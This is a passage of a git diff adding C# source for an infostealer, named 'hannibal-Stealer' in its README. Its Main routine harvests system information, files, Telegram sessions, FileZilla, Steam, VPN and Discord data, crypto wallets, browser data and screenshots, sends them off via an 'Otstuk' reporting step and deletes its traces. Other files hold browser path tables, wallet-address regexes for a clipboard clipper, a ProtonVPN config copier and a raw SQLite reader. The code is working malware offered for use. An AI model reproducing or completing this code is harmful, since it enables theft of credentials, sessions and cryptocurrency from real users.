PathsCV20.LOCAL_APP_DATA + "\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" + } + } + }, + { + "Opera", + new Dictionary() + { + { + "bin1", + "C:\\Program Files (x86)\\Opera\\opera.exe" + }, + { + "bin2", + PathsCV20.LOCAL_APP_DATA + "\\Programs\\Opera\\opera.exe" + }, + { + "bin3", + "C:\\Program Files\\Opera\\opera.exe" + } + } + }, + { + "Yandex", + new Dictionary() + { + { + "bin1", + PathsCV20.LOCAL_APP_DATA + "\\Yandex\\YandexBrowser\\Application\\browser.exe" + }, + { + "bin2", + "C:\\Program Files\\Yandex\\YandexBrowser\\Application\\browser.exe" + }, + { + "bin3", + PathsCV20.none ?? "" + } + } + }, + { + "Chromium", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\Chromium\\Application\\chrome.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\Chromium\\Application\\chrome.exe" + }, + { + "bin3", + PathsCV20.none ?? "" + } + } + }, + { + "Opera GX", + new Dictionary() + { + { + "bin1", + "C:\\Program Files (x86)\\Opera GX\\opera.exe" + }, + { + "bin2", + PathsCV20.LOCAL_APP_DATA + "\\Programs\\Opera GX\\opera.exe" + }, + { + "bin3", + "C:\\Program Files\\Opera GX\\opera.exe" + } + } + }, + { + "Dragon", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\Comodo\\Dragon\\dragon.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\Comodo\\Dragon\\dragon.exe" + }, + { + "bin3", + "C:\\Program Files\\Comodo\\Comodo Dragon\\dragon.exe" + } + } + }, + { + "EpicPrivacy", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\Epic Privacy Browser\\epic.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\Epic Privacy Browser\\epic.exe" + }, + { + "bin3", + PathsCV20.LOCAL_APP_DATA + "\\Epic Privacy Browser\\Application\\epic.exe" + } + } + }, + { + "Iridium", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\Iridium Browser\\iridium.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\Iridium Browser\\iridium.exe" + }, + { + "bin3", + PathsCV20.none ?? "" + } + } + }, + { + "Slimjet", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\Slimjet\\slimjet.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\Slimjet\\slimjet.exe" + }, + { + "bin3", + PathsCV20.LOCAL_APP_DATA + "\\Slimjet\\slimjet.exe" + } + } + }, + { + "UR-Browser", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\UR Browser\\application\\ur.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\UR Browser\\application\\ur.exe" + }, + { + "bin3", + PathsCV20.none ?? "" + } + } + }, + { + "Vivaldi", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\Vivaldi\\Application\\vivaldi.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\Vivaldi\\Application\\vivaldi.exe" + }, + { + "bin3", + PathsCV20.LOCAL_APP_DATA + "\\Vivaldi\\Application\\vivaldi.exe" + } + } + }, + { + "Google(x86)", + new Dictionary() + { + { + "bin1", + "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" + }, + { + "bin2", + "C:\\Program Files\\Vivaldi\\Application\\vivaldi.exe" + }, + { + "bin3", + PathsCV20.none ?? "" + } + } + }, + { + "MapleStudio", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\Maple 20XX\\bin.X86_64\\maplew.exe" + }, + { + "bin2", + "C:\\Program Files\\Maple 20XX\\bin\\maple.exe" + }, + { + "bin3", + "C:\\Program Files\\Maple 20XX\\bin.X64\\maplew.exe" + } + } + }, + { + "7Star", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\7Star Browser\\7star.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\7Star Browser\\7star.exe" + }, + { + "bin3", + PathsCV20.none ?? "" + } + } + }, + { + "CentBrowser", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\CentBrowser\\chrome.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\CentBrowser\\chrome.exe" + }, + { + "bin3", + PathsCV20.none ?? "" + } + } + }, + { + "Chedot", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\Chedot\\chrome.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\Chedot\\chrome.exe" + }, + { + "bin3", + PathsCV20.LOCAL_APP_DATA + "\\Chedot\\chrome.exe" + } + } + }, + { + "Kometa", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\Kometa\\kometa.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\Kometa\\kometa.exe" + }, + { + "bin3", + PathsCV20.LOCAL_APP_DATA + "\\Kometa\\kometa.exe" + } + } + }, + { + "Elements Browser", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\Elements Browser\\elements.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\Elements Browser\\elements.exe" + }, + { + "bin3", + PathsCV20.none ?? "" + } + } + }, + { + "Uran", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\Uran Browser\\uran.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\Uran Browser\\uran.exe" + }, + { + "bin3", + PathsCV20.LOCAL_APP_DATA + "\\Uran Browser\\application\\uran.exe" + } + } + }, + { + "Amigo", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\Amigo\\amigo.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\Amigo\\amigo.exe" + }, + { + "bin3", + PathsCV20.LOCAL_APP_DATA + "\\Amigo\\amigo.exe" + } + } + }, + { + "Atom", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\Mail.Ru\\Atom\\application\\atom.exe" + }, + { + "bin2", + "C:\\Program Files\\VK\\VKBrowser\\application\\vk.exe" + }, + { + "bin3", + "C:\\Program Files (x86)\\Mail.Ru\\Atom\\application\\atom.exe" + } + } + }, + { + "Torch", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\Torch\\torch.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\Torch\\torch.exe" + }, + { + "bin3", + PathsCV20.LOCAL_APP_DATA + "\\Torch\\torch.exe" + } + } + }, + { + "360Browser", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\Torch\\torch.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\Torch\\torch.exe" + }, + { + "bin3", + PathsCV20.LOCAL_APP_DATA + "\\Torch\\torch.exe" + } + } + } + }; + } +} diff --git a/Patterns.cs b/Patterns.cs new file mode 100644 index 0000000..f1dd45c --- /dev/null +++ b/Patterns.cs @@ -0,0 +1,56 @@ +using System.Collections.Generic; +using System.Text.RegularExpressions; + +namespace SHARP +{ + internal class Patterns + { + public static Dictionary patterns = new Dictionary() + { + { + "btc1", + new Regex("(?:^(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}$)") + }, + { + "btc2", + new Regex("^(bc1|tb1)(p)?[a-z0-9]{26,62}$") + }, + { + "usdtTRC20", + new Regex("^T[A-Za-z0-9]{33}$") + }, + { + "eth", + new Regex("(?:^0x[a-fA-F0-9]{40}$)") + }, + { + "xmr", + new Regex("(?:^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$)") + }, + { + "xlm", + new Regex("(?:^G[0-9a-zA-Z]{55}$)") + }, + { + "xrp", + new Regex("(?:^r[0-9a-zA-Z]{24,34}$)") + }, + { + "ltc", + new Regex("(?:^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$)") + }, + { + "nec", + new Regex("(?:^A[0-9a-zA-Z]{33}$)") + }, + { + "bch", + new Regex("^((bitcoincash:)?(q|p)[a-z0-9]{41})") + }, + { + "dash", + new Regex("(?:^X[1-9A-HJ-NP-Za-km-z]{33}$)") + } + }; + } +} diff --git a/ProcessList.cs b/ProcessList.cs new file mode 100644 index 0000000..200a26d --- /dev/null +++ b/ProcessList.cs @@ -0,0 +1,36 @@ +using System.Diagnostics; +using System.IO; +using System.Management; +using System.Threading.Tasks; + +namespace SHARP +{ + internal class ProcessList + { + public static async Task WriteProcesses(string head) + { + string str = head; + foreach (Process process in Process.GetProcesses()) + File.AppendAllText(str + "\\Process.txt", $"NAME: {process.ProcessName}\n\n"); + } + + public static string ProcessExecutablePath(Process process) + { + try + { + return process.MainModule.FileName; + } + catch + { + foreach (ManagementObject managementObject in new ManagementObjectSearcher("SELECT ExecutablePath, ProcessID FROM Win32_Process").Get()) + { + object obj1 = managementObject["ProcessID"]; + object obj2 = managementObject["ExecutablePath"]; + if (obj2 != null && obj1.ToString() == process.Id.ToString()) + return obj2.ToString(); + } + } + return ""; + } + } +} diff --git a/Program.cs b/Program.cs new file mode 100644 index 0000000..5c5543b --- /dev/null +++ b/Program.cs @@ -0,0 +1,66 @@ +using System; +using System.IO; +using System.Threading.Tasks; + +namespace SHARP +{ + internal class Program + { + private static async Task Main() + { + try + { + string ExDir = Help.ExploitDir; + Help.Start(); + Directory.CreateDirectory(Help.ExploitDir); + await IP.ip(); + Help.checkSNG(); + await Task.Run((Func) (async () => await SystemInfo.GetSystem(ExDir))); + await Task.Run((Func) (async () => await Files.GetFiles(ExDir))); + await Task.Run((Func) (async () => await ProcessList.WriteProcesses(ExDir))); + await Task.Run((Func) (async () => await Telegram.GetTelegramSessions(ExDir))); + await Task.Run((Func) (async () => await FileZilla.GetFileZilla(ExDir))); + await Task.Run((Func) (async () => await TotalCommander.Start(ExDir))); + await Task.Run((Func) (async () => await Steam.SteamGet(ExDir))); + await Task.Run((Func) (async () => await StartVPN.Start(ExDir))); + await Task.Run((Func) (async () => await Discord.Run(ExDir))); + await Task.Run((Func) (async () => await StartWallets.Start())); + await Task.Run((Func) (async () => await Browsers.ChromiumBrowsers())); + await Task.Run((Func) (async () => await Browsers.GeckoBrowsers())); + await Task.Run((Func) (async () => await Screenchik.GetScreen(ExDir))); + try + { + await Otstuk.Run(Config.method); + Program.Finish(); + } + catch (Exception ex) + { + Program.Finish(); + } + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + Program.Finish(); + } + } + + private static void Finish() + { + if (Config.cclipper) + { + Directory.Delete(Help.ExploitDir + "\\", true); + Directory.Delete(Help.dir + "\\", true); + Help.Stop(); + Monitor.run(); + } + else + { + Directory.Delete(Help.ExploitDir + "\\", true); + Directory.Delete(Help.dir + "\\", true); + Help.Stop(); + Environment.Exit(0); + } + } + } +} diff --git a/Properties/Resources.cs b/Properties/Resources.cs new file mode 100644 index 0000000..a1cf9aa --- /dev/null +++ b/Properties/Resources.cs @@ -0,0 +1,40 @@ +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.Globalization; +using System.Resources; +using System.Runtime.CompilerServices; + +namespace SHARP.Properties +{ + [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] + [DebuggerNonUserCode] + [CompilerGenerated] + internal class Resources + { + private static ResourceManager resourceMan; + private static CultureInfo resourceCulture; + + internal Resources() + { + } + + [EditorBrowsable(EditorBrowsableState.Advanced)] + internal static ResourceManager ResourceManager + { + get + { + if (SHARP.Properties.Resources.resourceMan == null) + SHARP.Properties.Resources.resourceMan = new ResourceManager("SHARP.Properties.Resources", typeof (SHARP.Properties.Resources).Assembly); + return SHARP.Properties.Resources.resourceMan; + } + } + + [EditorBrowsable(EditorBrowsableState.Advanced)] + internal static CultureInfo Culture + { + get => SHARP.Properties.Resources.resourceCulture; + set => SHARP.Properties.Resources.resourceCulture = value; + } + } +} diff --git a/Properties/Resources.resx b/Properties/Resources.resx new file mode 100644 index 0000000..c7e0d4b --- /dev/null +++ b/Properties/Resources.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Properties/Settings.cs b/Properties/Settings.cs new file mode 100644 index 0000000..d671958 --- /dev/null +++ b/Properties/Settings.cs @@ -0,0 +1,15 @@ +using System.CodeDom.Compiler; +using System.Configuration; +using System.Runtime.CompilerServices; + +namespace SHARP.Properties +{ + [CompilerGenerated] + [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.9.0.0")] + internal sealed class Settings : ApplicationSettingsBase + { + private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); + + public static Settings Default => Settings.defaultInstance; + } +} diff --git a/ProtonVPN.cs b/ProtonVPN.cs new file mode 100644 index 0000000..f0c22b4 --- /dev/null +++ b/ProtonVPN.cs @@ -0,0 +1,40 @@ +using System; +using System.IO; + +namespace SHARP +{ + internal class ProtonVPN + { + public static void Save(string head) + { + string str1 = head; + string path1 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), nameof (ProtonVPN)); + if (!Directory.Exists(path1)) + return; + try + { + foreach (string directory1 in Directory.GetDirectories(path1)) + { + if (directory1.Contains("ProtonVPN.exe")) + { + foreach (string directory2 in Directory.GetDirectories(directory1)) + { + string str2 = directory2 + "\\user.config"; + string path2 = Path.Combine(str1 + "\\VPN\\ProtonVPN", new DirectoryInfo(Path.GetDirectoryName(str2)).Name); + if (!Directory.Exists(path2)) + { + Directory.CreateDirectory(path2); + File.Copy(str2, path2 + "\\user.config"); + ++Counting.ProtonVPN; + } + } + } + } + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + } + } +} diff --git a/README.md b/README.md new file mode 100644 index 0000000..85ff228 --- /dev/null +++ b/README.md @@ -0,0 +1 @@ +# hannibal-Stealer \ No newline at end of file diff --git a/SQLiteHandler.cs b/SQLiteHandler.cs new file mode 100644 index 0000000..0782470 --- /dev/null +++ b/SQLiteHandler.cs @@ -0,0 +1,361 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace SHARP +{ + public class SQLiteHandler + { + private readonly byte[] db_bytes; + private readonly ulong encoding; + private string[] field_names = new string[1]; + private SQLiteHandler.sqlite_master_entry[] master_table_entries; + private readonly ushort page_size; + private readonly byte[] SQLDataTypeSize = new byte[10] + { + (byte) 0, + (byte) 1, + (byte) 2, + (byte) 3, + (byte) 4, + (byte) 6, + (byte) 8, + (byte) 8, + (byte) 0, + (byte) 0 + }; + private SQLiteHandler.table_entry[] table_entries; + + public SQLiteHandler(string baseName) + { + if (!File.Exists(baseName)) + return; + this.db_bytes = File.ReadAllBytes(baseName); + if (Encoding.Default.GetString(this.db_bytes, 0, 15).CompareTo("SQLite format 3") != 0) + throw new Exception("Not a valid SQLite 3 Database File"); + if (this.db_bytes[52] != (byte) 0) + throw new Exception("Auto-vacuum capable database is not supported"); + this.page_size = (ushort) this.ConvertToInteger(16 /*0x10*/, 2); + this.encoding = this.ConvertToInteger(56, 4); + if (Decimal.Compare(new Decimal(this.encoding), 0M) == 0) + this.encoding = 1UL; + this.ReadMasterTable(100UL); + } + + private ulong ConvertToInteger(int startIndex, int Size) + { + if (Size > 8 | Size == 0) + return 0; + ulong integer = 0; + int num = Size - 1; + for (int index = 0; index <= num; ++index) + integer = integer << 8 | (ulong) this.db_bytes[startIndex + index]; + return integer; + } + + private long CVL(int startIndex, int endIndex) + { + ++endIndex; + byte[] numArray = new byte[8]; + int num1 = endIndex - startIndex; + bool flag = false; + if (num1 == 0 | num1 > 9) + return 0; + switch (num1) + { + case 1: + numArray[0] = (byte) ((uint) this.db_bytes[startIndex] & (uint) sbyte.MaxValue); + return BitConverter.ToInt64(numArray, 0); + case 9: + flag = true; + break; + } + int num2 = 1; + int num3 = 7; + int index1 = 0; + if (flag) + { + numArray[0] = this.db_bytes[endIndex - 1]; + --endIndex; + index1 = 1; + } + int num4 = startIndex; + for (int index2 = endIndex - 1; index2 >= num4; index2 += -1) + { + if (index2 - 1 >= startIndex) + { + numArray[index1] = (byte) ((uint) (byte) ((uint) this.db_bytes[index2] >> (num2 - 1 & 7)) & (uint) ((int) byte.MaxValue >> num2) | (uint) (byte) ((uint) this.db_bytes[index2 - 1] << (num3 & 7))); + ++num2; + ++index1; + --num3; + } + else if (!flag) + numArray[index1] = (byte) ((uint) (byte) ((uint) this.db_bytes[index2] >> (num2 - 1 & 7)) & (uint) ((int) byte.MaxValue >> num2)); + } + return BitConverter.ToInt64(numArray, 0); + } + + public int GetRowCount() => this.table_entries.Length; + + public string[] GetTableNames() + { + List stringList = new List(); + int num = this.master_table_entries.Length - 1; + for (int index = 0; index <= num; ++index) + { + if (this.master_table_entries[index].item_type == "table") + stringList.Add(this.master_table_entries[index].item_name); + } + return stringList.ToArray(); + } + + public string GetValue(int row_num, int field) + { + if (row_num >= this.table_entries.Length) + return (string) null; + return field >= this.table_entries[row_num].content.Length ? (string) null : this.table_entries[row_num].content[field]; + } + + public string GetValue(int row_num, string field) + { + int field1 = -1; + int num = this.field_names.Length - 1; + for (int index = 0; index <= num; ++index) + { + if (this.field_names[index].ToLower().CompareTo(field.ToLower()) == 0) + { + field1 = index; + break; + } + } + return field1 == -1 ? (string) null : this.GetValue(row_num, field1); + } + + private int GVL(int startIndex) + { + if (startIndex > this.db_bytes.Length) + return 0; + int num = startIndex + 8; + for (int index = startIndex; index <= num; ++index) + { + if (index > this.db_bytes.Length - 1) + return 0; + if (((int) this.db_bytes[index] & 128 /*0x80*/) != 128 /*0x80*/) + return index; + } + return startIndex + 8; + } + + private bool IsOdd(long value) => (value & 1L) == 1L; + + private void ReadMasterTable(ulong Offset) + { + if (this.db_bytes[(int) Offset] == (byte) 13) + { + ushort uint16 = Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M)); + int num1 = 0; + if (this.master_table_entries != null) + { + num1 = this.master_table_entries.Length; + Array.Resize(ref this.master_table_entries, this.master_table_entries.Length + (int) uint16 + 1); + } + else + this.master_table_entries = new SQLiteHandler.sqlite_master_entry[(int) uint16 + 1]; + int num2 = (int) uint16; + for (int index1 = 0; index1 <= num2; ++index1) + { + ulong integer = this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 8M), new Decimal(index1 * 2))), 2); + if (Decimal.Compare(new Decimal(Offset), 100M) != 0) + integer += Offset; + int endIndex1 = this.GVL((int) integer); + this.CVL((int) integer, endIndex1); + int endIndex2 = this.GVL(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(integer), Decimal.Subtract(new Decimal(endIndex1), new Decimal(integer))), 1M))); + this.master_table_entries[num1 + index1].row_id = this.CVL(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(integer), Decimal.Subtract(new Decimal(endIndex1), new Decimal(integer))), 1M)), endIndex2); + ulong uint64 = Convert.ToUInt64(Decimal.Add(Decimal.Add(new Decimal(integer), Decimal.Subtract(new Decimal(endIndex2), new Decimal(integer))), 1M)); + int endIndex3 = this.GVL((int) uint64); + int endIndex4 = endIndex3; + long num3 = this.CVL((int) uint64, endIndex3); + long[] numArray = new long[5]; + int index2 = 0; + do + { + int startIndex = endIndex4 + 1; + endIndex4 = this.GVL(startIndex); + numArray[index2] = this.CVL(startIndex, endIndex4); + numArray[index2] = numArray[index2] <= 9L ? (long) this.SQLDataTypeSize[(int) numArray[index2]] : (!this.IsOdd(numArray[index2]) ? (long) Math.Round((double) (numArray[index2] - 12L) / 2.0) : (long) Math.Round((double) (numArray[index2] - 13L) / 2.0)); + ++index2; + } + while (index2 <= 4); + if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0) + this.master_table_entries[num1 + index1].item_type = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(uint64), new Decimal(num3))), (int) numArray[0]); + else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0) + this.master_table_entries[num1 + index1].item_type = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(uint64), new Decimal(num3))), (int) numArray[0]); + else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0) + this.master_table_entries[num1 + index1].item_type = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(uint64), new Decimal(num3))), (int) numArray[0]); + if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0) + this.master_table_entries[num1 + index1].item_name = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(numArray[0]))), (int) numArray[1]); + else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0) + this.master_table_entries[num1 + index1].item_name = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(numArray[0]))), (int) numArray[1]); + else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0) + this.master_table_entries[num1 + index1].item_name = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(numArray[0]))), (int) numArray[1]); + this.master_table_entries[num1 + index1].root_num = (long) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2]))), (int) numArray[3]); + if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0) + this.master_table_entries[num1 + index1].sql_statement = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), (int) numArray[4]); + else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0) + this.master_table_entries[num1 + index1].sql_statement = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), (int) numArray[4]); + else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0) + this.master_table_entries[num1 + index1].sql_statement = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), (int) numArray[4]); + } + } + else + { + if (this.db_bytes[(int) Offset] != (byte) 5) + return; + int uint16 = (int) Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M)); + for (int index = 0; index <= uint16; ++index) + { + ushort integer = (ushort) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 12M), new Decimal(index * 2))), 2); + if (Decimal.Compare(new Decimal(Offset), 100M) == 0) + this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger((int) integer, 4)), 1M), new Decimal((int) this.page_size)))); + else + this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger((int) ((long) Offset + (long) integer), 4)), 1M), new Decimal((int) this.page_size)))); + } + this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 8M)), 4)), 1M), new Decimal((int) this.page_size)))); + } + } + + public bool ReadTable(string TableName) + { + int index1 = -1; + int num1 = this.master_table_entries.Length - 1; + for (int index2 = 0; index2 <= num1; ++index2) + { + if (this.master_table_entries[index2].item_name.ToLower().CompareTo(TableName.ToLower()) == 0) + { + index1 = index2; + break; + } + } + if (index1 == -1) + return false; + string[] strArray = this.master_table_entries[index1].sql_statement.Substring(this.master_table_entries[index1].sql_statement.IndexOf("(") + 1).Split(','); + int num2 = strArray.Length - 1; + for (int index3 = 0; index3 <= num2; ++index3) + { + strArray[index3] = strArray[index3].TrimStart(); + int length = strArray[index3].IndexOf(" "); + if (length > 0) + strArray[index3] = strArray[index3].Substring(0, length); + if (strArray[index3].IndexOf("UNIQUE") != 0) + { + Array.Resize(ref this.field_names, index3 + 1); + this.field_names[index3] = strArray[index3]; + } + else + break; + } + return this.ReadTableFromOffset((ulong) (this.master_table_entries[index1].root_num - 1L) * (ulong) this.page_size); + } + + private bool ReadTableFromOffset(ulong Offset) + { + if (this.db_bytes[(int) Offset] == (byte) 13) + { + int int32 = Convert.ToInt32(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M)); + int num1 = 0; + if (this.table_entries != null) + { + num1 = this.table_entries.Length; + Array.Resize(ref this.table_entries, this.table_entries.Length + int32 + 1); + } + else + this.table_entries = new SQLiteHandler.table_entry[int32 + 1]; + int num2 = int32; + for (int index1 = 0; index1 <= num2; ++index1) + { + SQLiteHandler.record_header_field[] array = new SQLiteHandler.record_header_field[1]; + ulong integer = this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 8M), new Decimal(index1 * 2))), 2); + if (Decimal.Compare(new Decimal(Offset), 100M) != 0) + integer += Offset; + int endIndex1 = this.GVL((int) integer); + this.CVL((int) integer, endIndex1); + int endIndex2 = this.GVL(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(integer), Decimal.Subtract(new Decimal(endIndex1), new Decimal(integer))), 1M))); + this.table_entries[num1 + index1].row_id = this.CVL(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(integer), Decimal.Subtract(new Decimal(endIndex1), new Decimal(integer))), 1M)), endIndex2); + ulong uint64 = Convert.ToUInt64(Decimal.Add(Decimal.Add(new Decimal(integer), Decimal.Subtract(new Decimal(endIndex2), new Decimal(integer))), 1M)); + int endIndex3 = this.GVL((int) uint64); + int endIndex4 = endIndex3; + long num3 = this.CVL((int) uint64, endIndex3); + long num4 = Convert.ToInt64(Decimal.Add(Decimal.Subtract(new Decimal(uint64), new Decimal(endIndex3)), 1M)); + int index2 = 0; + while (num4 < num3) + { + Array.Resize(ref array, index2 + 1); + int startIndex = endIndex4 + 1; + endIndex4 = this.GVL(startIndex); + array[index2].type = this.CVL(startIndex, endIndex4); + array[index2].size = array[index2].type <= 9L ? (long) this.SQLDataTypeSize[(int) array[index2].type] : (!this.IsOdd(array[index2].type) ? (long) Math.Round((double) (array[index2].type - 12L) / 2.0) : (long) Math.Round((double) (array[index2].type - 13L) / 2.0)); + num4 = num4 + (long) (endIndex4 - startIndex) + 1L; + ++index2; + } + this.table_entries[num1 + index1].content = new string[array.Length - 1 + 1]; + int num5 = 0; + int num6 = array.Length - 1; + for (int index3 = 0; index3 <= num6; ++index3) + { + if (array[index3].type > 9L) + { + if (!this.IsOdd(array[index3].type)) + { + if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0) + this.table_entries[num1 + index1].content[index3] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(num5))), (int) array[index3].size); + else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0) + this.table_entries[num1 + index1].content[index3] = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(num5))), (int) array[index3].size); + else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0) + this.table_entries[num1 + index1].content[index3] = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(num5))), (int) array[index3].size); + } + else + this.table_entries[num1 + index1].content[index3] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(num5))), (int) array[index3].size); + } + else + this.table_entries[num1 + index1].content[index3] = Convert.ToString(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(num5))), (int) array[index3].size)); + num5 += (int) array[index3].size; + } + } + } + else if (this.db_bytes[(int) Offset] == (byte) 5) + { + int uint16 = (int) Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M)); + for (int index = 0; index <= uint16; ++index) + { + ushort integer = (ushort) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 12M), new Decimal(index * 2))), 2); + this.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger((int) ((long) Offset + (long) integer), 4)), 1M), new Decimal((int) this.page_size)))); + } + this.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 8M)), 4)), 1M), new Decimal((int) this.page_size)))); + } + return true; + } + + private struct record_header_field + { + public long size; + public long type; + } + + private struct sqlite_master_entry + { + 